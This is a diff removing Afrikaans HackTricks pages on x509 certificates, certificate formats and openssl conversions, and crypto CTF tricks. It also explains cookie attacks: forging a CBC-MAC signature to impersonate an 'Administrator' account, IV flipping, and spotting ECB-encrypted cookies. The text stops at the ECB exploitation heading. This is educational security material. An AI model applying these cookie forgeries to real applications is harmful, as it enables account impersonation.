- **Serie Nommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingopsporing.
|
||||
- Die **Onderwerp** veld verteenwoordig die sertifikaat se eienaar, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos:
|
||||
- **Algemene Naam (CN)**: Domeine wat deur die sertifikaat gedek word.
|
||||
- **Land (C)**, **Plaaslikeheid (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisatoriese Eenheid (OU)** verskaf geografiese en organisatoriese besonderhede.
|
||||
- **Gekenneteerde Naam (DN)** sluit die volle onderwerp identifikasie in.
|
||||
- **Uitgewer** gee besonderhede oor wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde soos die Onderwerp vir die CA.
|
||||
- **Geldigheidsperiode** word gemerk deur **Nie Voor** en **Nie Na** tydstempels, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie.
|
||||
- Die **Publieke Sleutel** afdeling, wat van kardinale belang is vir die sertifikaat se sekuriteit, spesifiseer die algoritme, grootte, en ander tegniese besonderhede van die publieke sleutel.
|
||||
- **x509v3 uitbreidings** verbeter die sertifikaat se funksionaliteit, wat **Sleutel Gebruik**, **Verlengde Sleutel Gebruik**, **Onderwerp Alternatiewe Naam**, en ander eienskappe spesifiseer om die sertifikaat se toepassing te verfyn.
|
||||
|
||||
#### **Sleutel Gebruik en Uitbreidings**
|
||||
|
||||
- **Sleutel Gebruik** identifiseer kriptografiese toepassings van die publieke sleutel, soos digitale handtekening of sleutel versleuteling.
|
||||
- **Verlengde Sleutel Gebruik** beperk verder die sertifikaat se gebruiksgevalle, bv. vir TLS bedienerverifikasie.
|
||||
- **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheername wat deur die sertifikaat gedek word en of dit 'n CA of eindentiteit sertifikaat is, onderskeidelik.
|
||||
- Identifiseerders soos **Onderwerp Sleutel Identifiseerder** en **Gesags Sleutel Identifiseerder** verseker uniekheid en opspoorbaarheid van sleutels.
|
||||
- **Gesags Inligting Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en die sertifikaat se herroepingstatus te kontroleer.
|
||||
- **CT Precertificate SCTs** bied deursigtigheid logs, wat van kardinale belang is vir publieke vertroue in die sertifikaat.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
issuer = certificate.issuer
|
||||
subject = certificate.subject
|
||||
public_key = certificate.public_key()
|
||||
|
||||
print(f"Serial Number: {serial_number}")
|
||||
print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Verskil tussen OCSP en CRL Verspreidingspunte**
|
||||
|
||||
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n responder wat saamwerk om te kontroleer of 'n digitale publieke sleutelsertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is meer doeltreffend as die tradisionele **CRL**, wat 'n lys van herroepte sertifikaatserienommers verskaf, maar vereis dat 'n potensieel groot lêer afgelaai word. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
|
||||
### **Wat is Sertifikaat Deursigtigheid**
|
||||
|
||||
Sertifikaat Deursigtigheid help om sertifikaatverwante bedreigings te bekamp deur te verseker dat die uitreiking en bestaan van SSL-sertifikate sigbaar is vir domeineienaars, CA's en gebruikers. Die doelwitte is:
|
||||
|
||||
- Om te voorkom dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domeineienaar se kennis.
|
||||
- Om 'n oop ouditstelsel te vestig vir die opsporing van per ongeluk of kwaadwillig uitgereikte sertifikate.
|
||||
- Om gebruikers te beskerm teen bedrogsertifikate.
|
||||
|
||||
#### **Sertifikaat Logs**
|
||||
|
||||
Sertifikaat logs is publiek ouditbaar, append-only rekords van sertifikate, wat deur netwerkdienste onderhou word. Hierdie logs bied kriptografiese bewysstukke vir ouditdoeleindes. Beide uitreikingsowerhede en die publiek kan sertifikate aan hierdie logs indien of dit raadpleeg vir verifikasie. Terwyl die presiese aantal logbedieners nie vasgestel is nie, word verwag dat dit minder as 'n duisend wêreldwyd sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belangstellende entiteit.
|
||||
|
||||
#### **Navraag**
|
||||
|
||||
Om Sertifikaat Deursigtigheid logs vir enige domein te verken, besoek [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Verskillende formate bestaan vir die stoor van sertifikate, elk met sy eie gebruiksgevalle en kompatibiliteit. Hierdie opsomming dek die hoofformate en bied leiding oor die omskakeling tussen hulle.
|
||||
|
||||
## **Formate**
|
||||
|
||||
### **PEM Formaat**
|
||||
|
||||
- Meest gebruikte formaat vir sertifikate.
|
||||
- Vereis aparte lêers vir sertifikate en private sleutels, gekodeer in Base64 ASCII.
|
||||
- Algemene uitbreidings: .cer, .crt, .pem, .key.
|
||||
- Primêr gebruik deur Apache en soortgelyke bedieners.
|
||||
|
||||
### **DER Formaat**
|
||||
|
||||
- 'n Binaire formaat van sertifikate.
|
||||
- Ontbreek die "BEGIN/END CERTIFICATE" verklarings wat in PEM-lêers gevind word.
|
||||
- Algemene uitbreidings: .cer, .der.
|
||||
- Gereeld gebruik met Java platforms.
|
||||
|
||||
### **P7B/PKCS#7 Formaat**
|
||||
|
||||
- Gestoor in Base64 ASCII, met uitbreidings .p7b of .p7c.
|
||||
- Bevat slegs sertifikate en kettingsertifikate, met uitsluiting van die private sleutel.
|
||||
- Gesteun deur Microsoft Windows en Java Tomcat.
|
||||
|
||||
### **PFX/P12/PKCS#12 Formaat**
|
||||
|
||||
- 'n Binaire formaat wat bedienersertifikate, intermediêre sertifikate, en private sleutels in een lêer inkapsuleer.
|
||||
- Uitbreidings: .pfx, .p12.
|
||||
- Hoofsaaklik gebruik op Windows vir sertifikaat invoer en uitvoer.
|
||||
|
||||
### **Omskakeling van Formate**
|
||||
|
||||
**PEM omskakelings** is noodsaaklik vir kompatibiliteit:
|
||||
|
||||
- **x509 na PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
- **PEM na DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
- **DER na PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
- **PEM na P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
- **PKCS7 na PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX omskakelings** is noodsaaklik vir die bestuur van sertifikate op Windows:
|
||||
|
||||
- **PFX na PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
- **PFX na PKCS#8** behels twee stappe:
|
||||
1. Skakel PFX na PEM om
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Skakel PEM na PKCS8
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
- **P7B na PFX** vereis ook twee opdragte:
|
||||
1. Skakel P7B na CER om
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. Skakel CER en Privaat Sleutel na PFX om
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
---
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,55 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# CBC
|
||||
|
||||
As die **cookie** **net** die **gebruikersnaam** is (of die eerste deel van die cookie die gebruikersnaam is) en jy wil die gebruikersnaam "**admin**" naboots. Dan kan jy die gebruikersnaam **"bdmin"** skep en die **eerste byte** van die cookie **bruteforce**.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) is 'n metode wat in cryptografie gebruik word. Dit werk deur 'n boodskap te neem en dit blok vir blok te enkripteer, waar elke blok se enkripsie aan die een voor dit gekoppel is. Hierdie proses skep 'n **ketting van blokke**, wat verseker dat die verandering van selfs 'n enkele bit van die oorspronklike boodskap sal lei tot 'n onvoorspelbare verandering in die laaste blok van enkripteerde data. Om so 'n verandering te maak of omgekeerd, is die enkripsiesleutel nodig, wat sekuriteit verseker.
|
||||
|
||||
Om die CBC-MAC van boodskap m te bereken, enkripteer 'n mens m in CBC-modus met 'n nul-inisialiseringsvektor en hou die laaste blok. Die volgende figuur skets die berekening van die CBC-MAC van 'n boodskap wat uit blokke bestaan met 'n geheime sleutel k en 'n blok-kodering E:
|
||||
|
||||
.svg/570px-CBC-MAC_structure_(en).svg.png>)
|
||||
|
||||
# Kwetsbaarheid
|
||||
|
||||
Met CBC-MAC is die **IV wat gebruik word gewoonlik 0**.\
|
||||
Dit is 'n probleem omdat 2 bekende boodskappe (`m1` en `m2`) onafhanklik 2 handtekeninge (`s1` en `s2`) sal genereer. So:
|
||||
|
||||
- `E(m1 XOR 0) = s1`
|
||||
- `E(m2 XOR 0) = s2`
|
||||
|
||||
Dan sal 'n boodskap wat uit m1 en m2 saamgevoeg is (m3) 2 handtekeninge (s31 en s32) genereer:
|
||||
|
||||
- `E(m1 XOR 0) = s31 = s1`
|
||||
- `E(m2 XOR s1) = s32`
|
||||
|
||||
**Wat moontlik is om te bereken sonder om die sleutel van die enkripsie te ken.**
|
||||
|
||||
Stel jou voor jy enkripteer die naam **Administrator** in **8bytes** blokke:
|
||||
|
||||
- `Administ`
|
||||
- `rator\00\00\00`
|
||||
|
||||
Jy kan 'n gebruikersnaam genaamd **Administ** (m1) skep en die handtekening (s1) terugkry.\
|
||||
Dan kan jy 'n gebruikersnaam skep wat die resultaat van `rator\00\00\00 XOR s1` is. Dit sal `E(m2 XOR s1 XOR 0)` genereer wat s32 is.\
|
||||
Nou kan jy s32 as die handtekening van die volle naam **Administrator** gebruik.
|
||||
|
||||
### Samevatting
|
||||
|
||||
1. Kry die handtekening van gebruikersnaam **Administ** (m1) wat s1 is
|
||||
2. Kry die handtekening van gebruikersnaam **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
|
||||
3. Stel die cookie op s32 en dit sal 'n geldige cookie wees vir die gebruiker **Administrator**.
|
||||
|
||||
# Aanval Beheer IV
|
||||
|
||||
As jy die gebruikte IV kan beheer, kan die aanval baie maklik wees.\
|
||||
As die cookies net die gebruikersnaam is wat geënkripteer is, om die gebruiker "**administrator**" na te boots, kan jy die gebruiker "**Administrator**" skep en jy sal sy cookie kry.\
|
||||
Nou, as jy die IV kan beheer, kan jy die eerste byte van die IV verander sodat **IV\[0] XOR "A" == IV'\[0] XOR "a"** en die cookie vir die gebruiker **Administrator** hergenereer. Hierdie cookie sal geldig wees om die gebruiker **administrator** met die aanvanklike **IV** na te boots.
|
||||
|
||||
## Verwysings
|
||||
|
||||
Meer inligting in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,271 +0,0 @@
|
||||
# Crypto CTFs Tricks
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Aanlyn Hashes DBs
|
||||
|
||||
- _**Google dit**_
|
||||
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
- [https://crackstation.net/](https://crackstation.net)
|
||||
- [https://md5decrypt.net/](https://md5decrypt.net)
|
||||
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
|
||||
- [https://gpuhash.me/](https://gpuhash.me)
|
||||
- [https://hashes.org/search.php](https://hashes.org/search.php)
|
||||
- [https://www.cmd5.org/](https://www.cmd5.org)
|
||||
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## Magic Autosolvers
|
||||
|
||||
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
|
||||
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## Encoders
|
||||
|
||||
Meeste van die geënkodeerde data kan met hierdie 2 hulpbronne gedecodeer word:
|
||||
|
||||
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### Substitution Autosolvers
|
||||
|
||||
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
- [https://quipqiup.com/](https://quipqiup.com) - Baie goed!
|
||||
|
||||
#### Caesar - ROTx Autosolvers
|
||||
|
||||
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### Atbash Cipher
|
||||
|
||||
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### Base Encodings Autosolver
|
||||
|
||||
Kontroleer al hierdie basisse met: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
- **Ascii85**
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base26** \[_A-Z_]
|
||||
- `BQEKGAHRJKHQMVZGKUXNT`
|
||||
- **Base32** \[_A-Z2-7=_]
|
||||
- `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
- `pbzsaamdcf3gna5xptoo====`
|
||||
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
- `e1rqssc3d5t62svgejhh====`
|
||||
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
- `D1QPRRB3C5S62RVFDHGG====`
|
||||
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
- `D1NMOOB3C5P62ORFDHGG====`
|
||||
- **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
- `59DPVDGPCVKEUPCPVD`
|
||||
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
- `2yJiRg5BF9gmsU6AC`
|
||||
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
- `2YiHqF5bf9FLSt6ac`
|
||||
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
- `pyJ5RgnBE9gm17awU`
|
||||
- **Base62** \[_0-9A-Za-z_]
|
||||
- `g2AextRZpBKRBzQ9`
|
||||
- **Base64** \[_A-Za-z0-9+/=_]
|
||||
- `aG9sYWNhcmFjb2xh`
|
||||
- **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
- `NI9JKX0cSUdqhr!p`
|
||||
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `<~BQ%]q@psCd@rH0l~>`
|
||||
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
- `Xm4y`V\_|Y(V{dF>\`
|
||||
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
|
||||
- `Xm4y|V{~Y+V}dF?`
|
||||
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
- `frDg[*jNN!7&BQM`
|
||||
- **Base100** \[]
|
||||
- `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
- **Base122** \[]
|
||||
- `4F ˂r0Xmvc`
|
||||
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
- `DmPsv8J7qrlKEoY7`
|
||||
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
- `kLD8iwKsigSalLJ5`
|
||||
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
- `ayRiIo1gpO+uUc7g`
|
||||
- **ESAB46** \[]
|
||||
- `3sHcL2NR8WrT7mhR`
|
||||
- **MEGAN45** \[]
|
||||
- `kLD8igSXm2KZlwrX`
|
||||
- **TIGO3FX** \[]
|
||||
- `7AP9mIzdmltYmIP9mWXX`
|
||||
- **TRIPO5** \[]
|
||||
- `UE9vSbnBW6psVzxB`
|
||||
- **FERON74** \[]
|
||||
- `PbGkNudxCzaKBm0x`
|
||||
- **GILA7** \[]
|
||||
- `D+nkv8C1qIKMErY1`
|
||||
- **Citrix CTX1** \[]
|
||||
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dood: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dood: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### Morse
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dood: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
|
||||
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||
`
|
||||
end
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
5Hol-G2xAEE++
|
||||
end
|
||||
```
|
||||
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
-38K26%'d9J!!:
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorak sleutelbord
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
Letters na hul numeriese waarde
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Affine Cipher Encode
|
||||
|
||||
Letter na nommer `(ax+b)%26` (_a_ en _b_ is die sleutels en _x_ is die letter) en die resultaat terug na letter
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS Kode
|
||||
|
||||
**Multitap** [vervang 'n letter](https://www.dcode.fr/word-letter-change) deur herhaalde syfers gedefinieer deur die ooreenstemmende sleutelkode op 'n mobiele [foon sleutelbord](https://www.dcode.fr/phone-keypad-cipher) (Hierdie modus word gebruik wanneer SMS geskryf word).\
|
||||
Byvoorbeeld: 2=A, 22=B, 222=C, 3=D...\
|
||||
Jy kan hierdie kode identifiseer omdat jy **verskeie getalle herhaal** sal sien.
|
||||
|
||||
Jy kan hierdie kode ontcijfer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Bacon Kode
|
||||
|
||||
Vervang elke letter met 4 A's of B's (of 1's en 0's)
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
### Runes
|
||||
|
||||

|
||||
|
||||
## Kompressie
|
||||
|
||||
**Raw Deflate** en **Raw Inflate** (jy kan albei in Cyberchef vind) kan data komprimeer en dekomprimeer sonder koptekste.
|
||||
|
||||
## Maklike Crypto
|
||||
|
||||
### XOR - Outomatiese Oplosser
|
||||
|
||||
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### Bifid
|
||||
|
||||
'n Sleutelwoord is nodig
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### Vigenere
|
||||
|
||||
'n Sleutelwoord is nodig
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## Sterk Crypto
|
||||
|
||||
### Fernet
|
||||
|
||||
2 base64 strings (token en sleutel)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
||||
Key:
|
||||
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||
```
|
||||
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Samir Geheime Deel
|
||||
|
||||
'n Geheim word in X dele gesplit en om dit te herstel het jy Y dele nodig (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL brute-force
|
||||
|
||||
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
|
||||
|
||||
## Tools
|
||||
|
||||
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,68 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Elektroniese Kodeboek - simmetriese versleuteling skema wat **elke blok van die duidelike teks** vervang met die **blok van die gesleutelde teks**. Dit is die **simpele** versleuteling skema. Die hoofidee is om die duidelike teks in **blokkies van N-bits** te **verdeel** (hangende van die grootte van die blok van invoerdata, versleuteling algoritme) en dan elke blok van duidelike teks te versleutel (ontsleutel) met die enigste sleutel.
|
||||
|
||||

|
||||
|
||||
Die gebruik van ECB het verskeie sekuriteitsimplikasies:
|
||||
|
||||
- **Blokkies van die gesleutelde boodskap kan verwyder word**
|
||||
- **Blokkies van die gesleutelde boodskap kan rondbeweeg word**
|
||||
|
||||
# Opsporing van die kwesbaarheid
|
||||
|
||||
Stel jou voor jy teken verskeie kere in op 'n toepassing en jy **kry altyd dieselfde koekie**. Dit is omdat die koekie van die toepassing **`<gebruikersnaam>|<wagwoord>`** is.\
|
||||
Dan genereer jy twee nuwe gebruikers, albei met die **selfde lang wagwoord** en **amper** die **selfde** **gebruikersnaam**.\
|
||||
Jy vind uit dat die **blokkies van 8B** waar die **inligting van albei gebruikers** dieselfde is, **gelyk** is. Dan stel jy jou voor dat dit dalk is omdat **ECB gebruik word**.
|
||||
|
||||
Soos in die volgende voorbeeld. Let op hoe hierdie **2 gedecodeerde koekies** verskeie kere die blok **`\x23U\xE45K\xCB\x21\xC8`** het.
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
Dit is omdat die **gebruikersnaam en wagwoord van daardie koekies verskeie kere die letter "a" bevat** (byvoorbeeld). Die **blokke** wat **verskillend** is, is blokke wat **ten minste 1 verskillende karakter** bevat (miskien die skeidingsteken "|" of 'n nodige verskil in die gebruikersnaam).
|
||||
|
||||
Nou, die aanvaller moet net ontdek of die formaat `<gebruikersnaam><skeidingsteken><wagwoord>` of `<wagwoord><skeidingsteken><gebruikersnaam>` is. Om dit te doen, kan hy net **verskeie gebruikersname genereer** met **soortgelyke en lang gebruikersname en wagwoorde totdat hy die formaat en die lengte van die skeidingsteken vind:**
|
||||
|
||||
| Gebruikersnaam lengte: | Wagwoord lengte: | Gebruikersnaam+Wagwoord lengte: | Koekie se lengte (na dekodering): |
|
||||
| ---------------------- | ---------------- | ------------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# Exploitering van die kwesbaarheid
|
||||
|
||||
